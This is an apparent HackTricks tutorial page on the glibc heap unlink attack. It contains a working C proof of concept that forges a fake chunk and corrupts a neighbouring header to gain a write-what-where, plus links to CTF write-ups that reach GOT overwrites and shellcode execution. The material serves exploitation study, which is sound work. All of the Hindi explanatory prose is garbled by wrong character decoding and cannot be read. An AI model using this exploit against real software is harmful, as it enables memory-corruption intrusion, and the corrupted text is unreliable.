Unlink Attack
Reading time: 7 minutes
tip
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рд╣рдорд╛рд░реЗ Twitter ЁЯРж @hacktricks_live** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
Basic Information
рдЬрдм рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдкрддрд╛ рдЪрд▓рд╛, рддреЛ рдЗрд╕рдиреЗ рдЬреНрдпрд╛рджрд╛рддрд░ WWW (Write What Where) рдХреА рдЕрдиреБрдорддрд┐ рджреА, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреБрдЫ рдЬрд╛рдВрдЪреЗрдВ рдЬреЛрдбрд╝реА рдЧрдИрдВ рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓реЗ рдХрд╛ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк, рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдФрд░ рд╡реНрдпрд░реНрде рд╣реЛ рдЧрдпрд╛ред
Code Example:
Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- рд╣рдорд▓рд╛ рддрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рдЬрдм tcaches рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (2.26 рдХреЗ рдмрд╛рдж)
рд▓рдХреНрд╖реНрдп
рдпрд╣ рд╣рдорд▓рд╛ рдПрдХ рдЪрдВрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЕрдкрдиреЗ рд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдирдпрд╛ рд╕реНрдерд╛рди (рдЬрд╣рд╛рдВ рдкреЙрдЗрдВрдЯрд░ рд╕реНрдерд┐рдд рдерд╛) рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЪреАрдЬреЗрдВ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрдиреНрдп рдирд┐рдпрдВрддреНрд░рд┐рдд рдЖрд╡рдВрдЯрди / рд╕реНрдЯреИрдХ..., рддреЛ рдЙрдиреНрд╣реЗрдВ рдкрдврд╝рдирд╛/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдмрдбрд╝рд╛ рдиреБрдХрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
- рдпрджрд┐ рдпрд╣ рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕реНрдерд┐рдд рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЕрдм рдЕрдкрдиреЗ рд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдЗрдВрдЧрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд╕реЗ рдкрдврд╝ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╕реНрдЯреИрдХ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдирд╛ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (рд╢рд╛рдпрдж) рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ рдмрд┐рдирд╛ рдХреИрдирд░реА рдХреЛ рдЫреБрдПред
- CTF рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрд╣ рдкреЙрдЗрдВрдЯрд░ рдЕрдиреНрдп рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЗ рдПрдХ рдПрд░реЗ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ 3 рдкрддреЗ рдкрд╣рд▓реЗ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдкрд░, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЕрдиреНрдп рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдЕрдиреНрдп рдкрддреЗ рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред
рдЪреВрдВрдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреНрдп рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЛ рднреА рдкрдврд╝/рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рд╡рд╣ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдордирдорд╛рдиреЗ рд╕реНрдерд╛рдиреЛрдВ (рдЬреИрд╕реЗ GOT рдореЗрдВ) рдореЗрдВ рдирдП рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
- рдХреБрдЫ рдирд┐рдпрдВрддреНрд░рдг рдПрдХ рдореЗрдореЛрд░реА (рдЬреИрд╕реЗ рд╕реНрдЯреИрдХ) рдореЗрдВ рдХреБрдЫ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдорд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЪрдВрдХреНрд╕ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред
- рдирдХрд▓реА рдЪрдВрдХ рдХреЗ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рд▓реАрдХред
рд╣рдорд▓рд╛
- рдХреБрдЫ рдЪрдВрдХреНрд╕ рд╣реИрдВ (chunk1 рдФрд░ chunk2)
- рд╣рдорд▓рд╛рд╡рд░ chunk1 рдХреА рд╕рд╛рдордЧреНрд░реА рдФрд░ chunk2 рдХреЗ рд╣реЗрдбрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
- chunk1 рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдирдХрд▓реА рдЪрдВрдХ рдХреА рд╕рдВрд░рдЪрдирд╛ рдмрдирд╛рддрд╛ рд╣реИ:
- рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐
size
рдлрд╝реАрд▓реНрдб рд╕рд╣реА рд╣реИ рддрд╛рдХрд┐ рддреНрд░реБрдЯрд┐ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ:corrupted size vs. prev_size while consolidating
- рдФрд░ рдирдХрд▓реА рдЪрдВрдХ рдХреЗ
fd
рдФрд░bk
рдлрд╝реАрд▓реНрдб рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд╣рд╛рдВ chunk1 рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ -3 рдФрд░ -2 рдХреЗ рдСрдлрд╕реЗрдЯ рдХреЗ рд╕рд╛рде, рдЗрд╕рд▓рд┐рдПfake_chunk->fd->bk
рдФрд░fake_chunk->bk->fd
рдореЗрдореЛрд░реА (рд╕реНрдЯреИрдХ) рдореЗрдВ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдЕрд╕рд▓реА chunk1 рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ:
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- chunk2 рдХреЗ рд╣реЗрдбрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдкрд┐рдЫрд▓рд╛ рдЪрдВрдХ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХрд┐ рдЖрдХрд╛рд░ рдирдХрд▓реА рдЪрдВрдХ рдХрд╛ рдЖрдХрд╛рд░ рд╣реИред
- рдЬрдм рджреВрд╕рд░рд╛ рдЪрдВрдХ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдирдХрд▓реА рдЪрдВрдХ рдЕрдирд▓рд┐рдВрдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- рдкрд╣рд▓реЗ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐
fake_chunk->fd->bk
рдФрд░fake_chunk->bk->fd
рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ (рд╕реНрдЯреИрдХ рдореЗрдВ рдЬрд╣рд╛рдВchunk1
рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдПрдХ рдорд╛рдиреНрдп рд▓рд┐рдВрдХреНрдб рд▓рд┐рд╕реНрдЯ рдереА)ред рдЪреВрдВрдХрд┐ рджреЛрдиреЛрдВ рдПрдХ рд╣реА рд╕реНрдерд╛рди рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо (fake_chunk->bk->fd = fake_chunk->fd
) рдкреНрд░рднрд╛рд╡ рдбрд╛рд▓реЗрдЧрд╛ред - рдпрд╣ рд╕реНрдЯреИрдХ рдореЗрдВ chunk1 рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЙрд╕ рдкрддреЗ (рдпрд╛ рдмрд╛рдЗрдЯреНрд╕) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдЬреЛ рд╕реНрдЯреИрдХ рдореЗрдВ 3 рдкрддреЗ рдкрд╣рд▓реЗ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
- рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рд╕реЗ chunk1 рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХреЗрдЧрд╛, рдХреИрдирд░реА рдХреЛ рдЫреЛрдбрд╝рдХрд░ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рдорд╛рди рдФрд░ рдмрд┐рдВрджреБрдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХреЗрдЧрд╛ред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕реНрдЯреИрдХ рдореЗрдВ chunk1 рдХреЗ рдкрддреЗ рдХреЛ рдПрдХ рдЕрд▓рдЧ рд╕реНрдерд╛рди рдкрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХреЗрдЧрд╛ рдЬрд╣рд╛рдВ рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рд╕реЗ chunk1 рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХреЗ, рддреЛ рд╡рд╣ рдХрд╣реАрдВ рднреА рд▓рд┐рдЦ рд╕рдХреЗрдЧрд╛ред
- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ рдкрддреЗ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд┐рдП рдЧрдП рдереЗред рдЬреЛрдЦрд┐рдо рдФрд░ рд╢реЛрд╖рдг рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдирдХрд▓реА рдЪрдВрдХ рдХреЗ рдкрддреЗ рдХрд╣рд╛рдВ рд╕реНрдЯреЛрд░ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
рд╕рдВрджрд░реНрдн
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- рд╣рд╛рд▓рд╛рдВрдХрд┐ CTF рдореЗрдВ рдПрдХ рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓рд╛ рдкрд╛рдирд╛ рдЕрдЬреАрдм рд╣реЛрдЧрд╛, рдпрд╣рд╛рдВ рдХреБрдЫ рд▓реЗрдЦ рд╣реИрдВ рдЬрд╣рд╛рдВ рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:
- CTF рдЙрджрд╛рд╣рд░рдг: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╕реНрдЯреИрдХ рдХреЗ рдмрдЬрд╛рдп malloc'ed рдкрддреЗ рдХрд╛ рдПрдХ рдПрд░реЗ рд╣реИред рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓рд╛ рдпрд╣рд╛рдВ рдПрдХ рдЪрдВрдХ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП malloc'ed рдкрддреЗ рдХреЗ рдПрд░реЗ рдХреЗ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдлрд┐рд░, рдПрдХ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ рдЬреЛ рдЗрди рдкрддреЗ рдореЗрдВ рдЪрдВрдХреНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ GOT рдХреЗ рдкрддреЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ, рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкрддреЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ, рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ RCE рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
- рдПрдХ рдФрд░ CTF рдЙрджрд╛рд╣рд░рдг: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЗ рдкрддреЗ рдХрд╛ рдПрдХ рдПрд░реЗ рд╣реИред рдПрдХ рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкрд╣рд▓реЗ рдЖрд╡рдВрдЯрди рдХреЗ рдкрддреЗ рдХреЛ рдПрд░реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╕реЗ рдХреБрдЫ рд╕реНрдерд╛рди рдкрд╣рд▓реЗ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЗрд╕ рдЖрд╡рдВрдЯрди рдХреЛ рдирдП рд╕реНрдерд╛рди рдореЗрдВ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдЕрдиреНрдп рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЗ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ GOT рдХреЗ atoi рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЗрд╕реЗ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рддрд╛рдХрд┐ libc рд▓реАрдХ рд╣реЛ рд╕рдХреЗ, рдФрд░ рдлрд┐рд░ atoi GOT рдХреЛ рдПрдХ рдЧреЗрдЬреЗрдЯ рдХреЗ рдкрддреЗ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ред
- рдХрд╕реНрдЯрдо malloc рдФрд░ free рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде CTF рдЙрджрд╛рд╣рд░рдг рдЬреЛ рдПрдХ vuln рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЕрдирд▓рд┐рдВрдХ рд╣рдорд▓реЗ рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рд╣реИ рдЬреЛ рдХрд╕реНрдЯрдо malloc рдХреЗ FD рдФрд░ BK рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ (рдХрд╕реНрдЯрдо) рдореБрдХреНрдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣реАрдк рдореЗрдВ exec рдмрд┐рдЯ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣реАрдк рдкрддреЗ рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ рдФрд░ GOT рд╕реЗ рдПрдХ рдХрд╛рд░реНрдп рдХреЛ рдПрдХ рд╣реАрдк рдЪрдВрдХ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЗрд▓рдХреЛрдб рд╣реИред
tip
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рд╣рдорд╛рд░реЗ Twitter ЁЯРж @hacktricks_live** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред